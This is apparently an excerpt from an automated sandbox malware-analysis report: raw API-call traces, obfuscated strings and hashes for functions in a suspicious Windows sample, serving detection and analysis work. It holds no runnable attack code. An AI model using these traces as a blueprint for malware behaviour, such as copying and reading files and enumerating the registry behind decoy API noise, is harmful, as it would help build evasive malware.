LocalFree.KERNEL32(00000000), ref: 00403565
LocalFree.KERNEL32(?), ref: 00403573
LocalFree.KERNEL32(00000000), ref: 0040358A
LocalFree.KERNEL32(?), ref: 00403591
LocalFree.KERNEL32(?), ref: 0040359A
LocalFree.KERNEL32(?), ref: 004035A4

Strings

Zb, xrefs: 00402EC5, 00403389

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Alloc$Free$Create$Semaphore$Event$Releaselstrlen$TimerWaitable$DebugEnvironmentMutexOutputStringVariable$Find$CloseFileOpen$CancelErrorLastReset$ByteCharCombineFirstMappingMultiPathWide$ChangeGlobalHandleNotificationwsprintf
String ID: Zb
API String ID: 2275057649-131670326
Opcode ID: c101c530f130dbbbc11495e9118663d56dcb97e9affff20e6674ca981041919a
Instruction ID: 5d832b8ef25c7ff1fdbbb6999c280ac8afa55ff5da4c12d111541aa00e18943a
Opcode Fuzzy Hash: c101c530f130dbbbc11495e9118663d56dcb97e9affff20e6674ca981041919a
Instruction Fuzzy Hash: 9B62FB71E04209EFDB10DFB5DC89AEEBBB5BB48314F10817AF905B7291DB3999018B58

Function 00406757 Relevance: 106.9, APIs: 71, Instructions: 442memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(-0000000A), ref: 00406773
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040677E
StrStrW.SHLWAPI(-0000000A), ref: 00406790
lstrlenW.KERNEL32(00000000), ref: 004067C2
LocalAlloc.KERNEL32(00000040,00000000), ref: 004067CD
StrStrW.SHLWAPI(00000000), ref: 004067DF
lstrlenW.KERNEL32(-00000002), ref: 00406811
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040681C
StrStrW.SHLWAPI(-00000002), ref: 0040682E
lstrlenW.KERNEL32(-00000004), ref: 00406860
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040686B
StrStrW.SHLWAPI(-00000004), ref: 0040687D
StrStrW.SHLWAPI(?,76229350,?,75B4EC10), ref: 00406B8A

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlen
String ID:
API String ID: 479719933-0
Opcode ID: 88754eda72a79e5de01a8085c6d138b4058dfa8f87b1e77bd7dc8fc78658b1eb
Instruction ID: 00b583a4342c890b131d82759baa82302d1ae78f78def10d658c3d1f61a74d60
Opcode Fuzzy Hash: 88754eda72a79e5de01a8085c6d138b4058dfa8f87b1e77bd7dc8fc78658b1eb
Instruction Fuzzy Hash: 21F16B72909216EFDB115BA4DC09AEE7F75FF48301F108175FA06B62A0DB345D11DBA8

Function 0040803C Relevance: 105.4, APIs: 57, Strings: 3, Instructions: 381memorystringfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,?,00000000,00000000), ref: 00408089
LocalAlloc.KERNEL32(00000040,00000208), ref: 00408094
PathCombineW.SHLWAPI(00000000,?), ref: 004080A7

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CopyFileW.KERNEL32(00000000,?,00000000), ref: 004080CA
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004080E5
GetFileSize.KERNEL32(00000000,00000000), ref: 004080F0
LocalAlloc.KERNEL32(00000040,00000000), ref: 004080FB
ReadFile.KERNEL32(?,00000000,-00000001,00000000,00000000), ref: 00408112
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00408131
LocalAlloc.KERNEL32(00000040,00000040), ref: 0040813F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0040815D
LocalFree.KERNEL32(?), ref: 0040816A
LocalFree.KERNEL32(00000000), ref: 00408171
LocalFree.KERNEL32(?), ref: 00408178
lstrlenA.KERNEL32(?), ref: 004081A5
StrStrA.SHLWAPI(?,?), ref: 004081C9
StrStrA.SHLWAPI(?,?), ref: 004081EE
LocalAlloc.KERNEL32(00000040,00000800), ref: 0040820B
LocalAlloc.KERNEL32(00000040,00000800), ref: 0040821B
LocalAlloc.KERNEL32(00000040,00000800), ref: 0040822B
lstrlenA.KERNEL32(?,000000FF), ref: 0040823A
LocalAlloc.KERNEL32(00000040,00001000), ref: 0040825F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 0040826F
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00408281
LocalAlloc.KERNEL32(00000040,00000000), ref: 00408294
lstrlenA.KERNEL32(00000000,00000000,000000FF), ref: 004082A3
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 004082B5
StrCpyW.SHLWAPI(00000000,00000000), ref: 004082C6
LocalFree.KERNEL32(00000000), ref: 004082D0
StrStrA.SHLWAPI(?,?), ref: 004082E4
StrStrA.SHLWAPI(?,?), ref: 00408304
lstrlenA.KERNEL32(?,00000000), ref: 00408323
LocalAlloc.KERNEL32(00000040,00003F40), ref: 00408348
StrStrA.SHLWAPI(?,?), ref: 00408360
lstrlenA.KERNEL32(?,00000000), ref: 00408385
LocalAlloc.KERNEL32(00000040,00003F40), ref: 004083AA
LocalAlloc.KERNEL32(00000040,00000400), ref: 004083CF
wsprintfW.USER32 ref: 004083E8
lstrlenW.KERNEL32 ref: 004083F9
LocalFree.KERNEL32(?), ref: 004084AC
CloseHandle.KERNEL32(?), ref: 004084B5
DeleteFileW.KERNEL32(?), ref: 004084BC
LocalFree.KERNEL32(00000000), ref: 004084C7
LocalFree.KERNEL32(?), ref: 004084D2
LocalFree.KERNEL32(00000000), ref: 004084DE
DeleteFileW.KERNEL32(?), ref: 004084E5
LocalFree.KERNEL32(?), ref: 004084EC

Strings

,8A, xrefs: 0040806E
\8A, xrefs: 0040807F
D8A, xrefs: 00408076

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Alloc$Free$File$Createlstrlen$ByteCharMultiMutexWide$CloseEventRelease$DeleteFindHandleSemaphoreTimerWaitable$CancelCombineCopyDebugEnvironmentErrorFirstLastMappingOpenOutputPathReadResetSizeStringVariablewsprintf
String ID: ,8A$D8A$\8A
API String ID: 1294144352-1237095115
Opcode ID: 4c7c9b33a1a879badd50191f6e32da7be178b0369060152479825d9a139df049
Instruction ID: ae66b23995fb4d6ca455236736c0364fce0167929a0c3a59bd96d3777378bea1
Opcode Fuzzy Hash: 4c7c9b33a1a879badd50191f6e32da7be178b0369060152479825d9a139df049
Instruction Fuzzy Hash: 8FE13C71904216EFDB119FA0DD49AEEBFB5FF08711F108039FA05B62A0DB789901DB68

Function 0040DFA4 Relevance: 75.5, APIs: 41, Strings: 2, Instructions: 299registrymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

RegOpenKeyExW.KERNELBASE(80000002,00613870,00000000,00020119,?,00000000,00000001,00000000,?,?,0040E492,?,?,?,?,?), ref: 0040DFF9
RegCloseKey.ADVAPI32(?,?,?,0040E492,?,?,?,?,?,?), ref: 0040E006
LocalAlloc.KERNEL32(00000040,00001000,?,?,0040E492), ref: 0040E026
RegEnumKeyExW.KERNEL32(?,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,?,0040E492), ref: 0040E03E
RegOpenKeyExW.KERNELBASE(?,00000000,00000000,00020119,?,?,?,0040E492), ref: 0040E060
LocalFree.KERNEL32(00000000,?,?,0040E492), ref: 0040E06B
RegCloseKey.ADVAPI32(?,?,?,0040E492), ref: 0040E074
LocalAlloc.KERNEL32(00000040,00002000,?,?,0040E492), ref: 0040E092
LocalAlloc.KERNEL32(00000040,?,?,?,0040E492), ref: 0040E0A2
RegQueryValueExW.KERNEL32(?,?,00000000,000F003F,00000000,?,?,?,0040E492), ref: 0040E0BB
LocalAlloc.KERNEL32(00000040,?,?,?,0040E492), ref: 0040E0D0
RegQueryValueExW.KERNEL32(?,?,00000000,000F003F,?,?,?,?,0040E492), ref: 0040E0EA
StrStrW.SHLWAPI(00000000,?,?,?,0040E492), ref: 0040E0F8
wsprintfW.USER32 ref: 0040E10D
StrStrW.SHLWAPI(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E11C

Strings

p8a, xrefs: 0040DFC4
?, xrefs: 0040DFDB

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CreateOpen$CloseEnvironmentVariable$EventFreeMutexQueryReleaseSemaphoreValuelstrlen$ChangeEnumFileFindMappingNotificationwsprintf
String ID: ?$p8a
API String ID: 4156520827-3017303366
Opcode ID: a83eb94e56fc354d9d24eff968c7ecdf8357c825a09a23e3087d59b2726d91e4
Instruction ID: 45a2e8102996a2a8c009d3e1693f12bedc98ecd970cc293fc041d8de39091a8b
Opcode Fuzzy Hash: a83eb94e56fc354d9d24eff968c7ecdf8357c825a09a23e3087d59b2726d91e4
Instruction Fuzzy Hash: 4FB10971904219FFDB119FA1DC89AEFBFB9FF08350F108066FA05A6261D7749A10DB68

Function 00410C89 Relevance: 73.8, APIs: 49, Instructions: 320memorystringCOMMON

Download Yara Rule

APIs

StrStrW.SHLWAPI(?,76229350,?,75B4EC10), ref: 00410CA1
StrStrW.SHLWAPI(-0000000A), ref: 00410CB6
StrStrW.SHLWAPI(00000002), ref: 00410CC6
lstrlenW.KERNEL32(?), ref: 00410CD0
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410CDB
lstrlenW.KERNEL32(?), ref: 00410CE5
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410CF0
lstrlenW.KERNEL32(?), ref: 00410CFA
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410D05
lstrlenW.KERNEL32(?), ref: 00410D0F
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410D1A
lstrlenW.KERNEL32(?), ref: 00410D24
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410D2F
StrStrW.SHLWAPI(?), ref: 00410D6B
StrStrW.SHLWAPI(?), ref: 00410DA1

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlen
String ID:
API String ID: 479719933-0
Opcode ID: 144ca1468cff0812f8993c99c6e79d672b57de3f0a46ba3f241cae04532be2f1
Instruction ID: 2aa6176cee99db6a4865b2970cc430e4bf2aaa42ae40187fcc5dff63e516d66c
Opcode Fuzzy Hash: 144ca1468cff0812f8993c99c6e79d672b57de3f0a46ba3f241cae04532be2f1
Instruction Fuzzy Hash: E9B14A72904206EFDB119FA5DC49AEF7FB9FF4C301B108169F606E22A1DB784941DB68

Function 0040F7FA Relevance: 64.9, APIs: 25, Strings: 12, Instructions: 129timememorysynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,ev_mwlckks4,00000000,00000000,00000000,0040C192,00000000,00000000), ref: 0040F814
SetEvent.KERNEL32(00000000), ref: 0040F81D
ResetEvent.KERNEL32(00000000), ref: 0040F824
SetEnvironmentVariableA.KERNEL32(9dn9ixt6,g80ghyj7), ref: 0040F83A
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_xllvi1zq), ref: 0040F844
OutputDebugStringA.KERNEL32(log: ad0nnw50), ref: 0040F851
CancelWaitableTimer.KERNEL32(00000000), ref: 0040F862
CreateMutexA.KERNEL32(00000000,00000000,MTXfv57b89w), ref: 0040F86D
SetEnvironmentVariableA.KERNEL32(2nzstxud,rqosfwwo), ref: 0040F883
ReleaseMutex.KERNEL32(00000000), ref: 0040F886
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_dl2pyuqr), ref: 0040F896
CancelWaitableTimer.KERNEL32(00000000), ref: 0040F89D
GetLastError.KERNEL32 ref: 0040F8A5
LocalAlloc.KERNEL32(00000000,00000798), ref: 0040F8AD
LocalFree.KERNEL32(00000000), ref: 0040F8B4
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLx9w8e9ar), ref: 0040F8C9
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F8D5
GetLastError.KERNEL32 ref: 0040F8D7
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_f8nyo2d9), ref: 0040F8E4
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F8EA
RegOpenKeyExA.KERNELBASE(80000001,regnnjwwep9,00000000,00020019,?), ref: 0040F904
lstrlenW.KERNEL32(?), ref: 0040F90E
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040F91E
StrCpyW.SHLWAPI(?,00000000), ref: 0040F94E
LocalFree.KERNEL32(00000000), ref: 0040F95B

Strings

g80ghyj7, xrefs: 0040F830
2nzstxud, xrefs: 0040F87E
rqosfwwo, xrefs: 0040F879
9dn9ixt6, xrefs: 0040F835
XMLx9w8e9ar, xrefs: 0040F8C0
WTMR_xllvi1zq, xrefs: 0040F83C
MTXfv57b89w, xrefs: 0040F864
ev_mwlckks4, xrefs: 0040F803
log: ad0nnw50, xrefs: 0040F84A
WTMR_dl2pyuqr, xrefs: 0040F88C
SMPHR_f8nyo2d9, xrefs: 0040F8D9
regnnjwwep9, xrefs: 0040F8FA

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$LocalSemaphoreTimerWaitable$EventRelease$AllocCancelEnvironmentErrorFreeLastMutexVariable$DebugOpenOutputResetStringlstrlen
String ID: 2nzstxud$9dn9ixt6$MTXfv57b89w$SMPHR_f8nyo2d9$WTMR_dl2pyuqr$WTMR_xllvi1zq$XMLx9w8e9ar$ev_mwlckks4$g80ghyj7$log: ad0nnw50$regnnjwwep9$rqosfwwo
API String ID: 623466121-1715729254
Opcode ID: d5eea0b26cab1c4d23d1426e1fb79a6985aeb367c904c75816b4a7d3b498fe2c
Instruction ID: 6b7f8838deec714652c49802b5e165e15ad96c339dc450910ade243eab308bb7
Opcode Fuzzy Hash: d5eea0b26cab1c4d23d1426e1fb79a6985aeb367c904c75816b4a7d3b498fe2c
Instruction Fuzzy Hash: 08417F31A40714BBD721ABA09D89FDF7F69EF4CB50F108121FA05E6290C7B89D51CBA8

Function 00406166 Relevance: 64.8, APIs: 43, Instructions: 278COMMON

Download Yara Rule

APIs

StrStrW.SHLWAPI(?,76229350,?,75B4EC10), ref: 00406183
StrStrW.SHLWAPI(-0000000C), ref: 004061A1

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52712e680c355f8724f48cbf46fba5e5cad57c8881fcfb2bcedd338df027048a
Instruction ID: 1e3267143f13036f59dd2e754ba5c707f99746aa11f0e5e68fc2b96998de79e9
Opcode Fuzzy Hash: 52712e680c355f8724f48cbf46fba5e5cad57c8881fcfb2bcedd338df027048a
Instruction Fuzzy Hash: 65917972908215FFDB105BA4EC09AEF7F79EF48311F108175FA06B62E1DB3849119BA9

Function 0040E5BB Relevance: 64.8, APIs: 43, Instructions: 278COMMON

Download Yara Rule

APIs

StrStrW.SHLWAPI(?,76229350,?,75B4EC10), ref: 0040E5D8
StrStrW.SHLWAPI(-0000000C), ref: 0040E5F6

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b80d05d3982e0e295cab18d04494490d3eb9449e6448f519d4f0cebae13d30
Instruction ID: 3e961dfa8bc91c35d213ae3bd6b1ababaa740e55a2c79740ae3f12122e2b5abd
Opcode Fuzzy Hash: f8b80d05d3982e0e295cab18d04494490d3eb9449e6448f519d4f0cebae13d30
Instruction Fuzzy Hash: 4B919B72908215FFDB005BA5EC09AEF7F79EF48311F108575FA06B22E0DB3949119B69

Function 0040D4CB Relevance: 64.8, APIs: 43, Instructions: 277COMMON

Download Yara Rule

APIs

StrStrW.SHLWAPI(?,76229350,?,75B4EC10), ref: 0040D4E7
StrStrW.SHLWAPI(-0000000A), ref: 0040D505

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba399507686e167bace22a0f28267871861ea6fcc0f34cb4fd0e09382891a5a9
Instruction ID: d3259bed5f9cad9d006a9ed1559ada4bf112d7227e4085e389dfbfbbecf6cbf3
Opcode Fuzzy Hash: ba399507686e167bace22a0f28267871861ea6fcc0f34cb4fd0e09382891a5a9
Instruction Fuzzy Hash: 3F916872908215FFDB106BA4DC09EEF7F79EB48315F108175FA16B22E0DB3849059BA9

Function 0040895E Relevance: 60.3, APIs: 40, Instructions: 289memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(-00000008), ref: 00408977
LocalAlloc.KERNEL32(00000040,00000000), ref: 00408982
StrStrW.SHLWAPI(-00000008), ref: 00408994
lstrlenW.KERNEL32(00000000), ref: 004089C6
LocalAlloc.KERNEL32(00000040,00000000), ref: 004089D1
StrStrW.SHLWAPI(00000000), ref: 004089E3
lstrlenW.KERNEL32(-00000002), ref: 00408A15
LocalAlloc.KERNEL32(00000040,00000000), ref: 00408A20
StrStrW.SHLWAPI(-00000002), ref: 00408A32
lstrlenW.KERNEL32(-00000004), ref: 00408A64
LocalAlloc.KERNEL32(00000040,00000000), ref: 00408A6F
StrStrW.SHLWAPI(-00000004), ref: 00408A81
StrStrW.SHLWAPI(00000000,76229350,00000000,00000000), ref: 00408C61

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlen
String ID:
API String ID: 479719933-0
Opcode ID: 63108e7967613d0e2ca1e8d5ea6d70941f0d0699bbd4b5539b7d69a88cc82ac9
Instruction ID: 96da22b1bb2fe51360652aa39ed6392ee3d9b08439aae976dfacb8ea92ba5e16
Opcode Fuzzy Hash: 63108e7967613d0e2ca1e8d5ea6d70941f0d0699bbd4b5539b7d69a88cc82ac9
Instruction Fuzzy Hash: CCA18672909316EFDB115BB4DD499AF7F75FB48300B008479FA06B72A1DB389D018B68

Function 0040E310 Relevance: 43.7, APIs: 29, Instructions: 239COMMON

Download Yara Rule

APIs

StrStrW.SHLWAPI(?,76229350,?,75B4EC10), ref: 0040E326
StrStrW.SHLWAPI(-00000010), ref: 0040E344

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86787790e67fa088ca2dc692270cd34d16f43ff38b3248bbcd577d4a7300dc84
Instruction ID: c275320ee930d72043b6906a52eb38597651f23fcc9572cfed6dcd52ab62d563
Opcode Fuzzy Hash: 86787790e67fa088ca2dc692270cd34d16f43ff38b3248bbcd577d4a7300dc84
Instruction Fuzzy Hash: 10816E72904205FFDB00ABA5DC49EEF3F79EB48314B108536F906E71D1DB389A158BA9

Function 0040C0E6 Relevance: 37.7, APIs: 30, Instructions: 231stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,76229350,00000000,75B4EC10), ref: 0040C0F5
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040C100
lstrlenW.KERNEL32(00000000), ref: 0040C10C
lstrlenW.KERNEL32(00000000), ref: 0040C11C
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040C127
lstrlenW.KERNEL32(00000000), ref: 0040C131
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040C13C
lstrlenW.KERNEL32(00000000), ref: 0040C148
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040C153
StrStrW.SHLWAPI(00000000), ref: 0040C165
StrStrW.SHLWAPI(00000000), ref: 0040C1A4
lstrcmpiW.KERNEL32(?), ref: 0040C1BE
StrStrW.SHLWAPI(-00000002), ref: 0040C1EC
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040C242
LocalFree.KERNEL32(?), ref: 0040C2A7
LocalFree.KERNEL32(?), ref: 0040C2B5
LocalFree.KERNEL32(00000000), ref: 0040C2CC
LocalFree.KERNEL32(00000000), ref: 0040C2D7
LocalFree.KERNELBASE(00000000), ref: 0040C2E2
StrStrW.SHLWAPI(00000000), ref: 0040C2EF
lstrlenW.KERNEL32(00000002), ref: 0040C2F9
LocalFree.KERNELBASE(00000000), ref: 0040C310
LocalFree.KERNEL32(?), ref: 0040C326
LocalFree.KERNEL32(?), ref: 0040C33E
LocalFree.KERNEL32(00000000), ref: 0040C34D
LocalFree.KERNEL32(00000000), ref: 0040C358
LocalFree.KERNEL32(00000000), ref: 0040C363
LocalFree.KERNEL32(?), ref: 0040C375
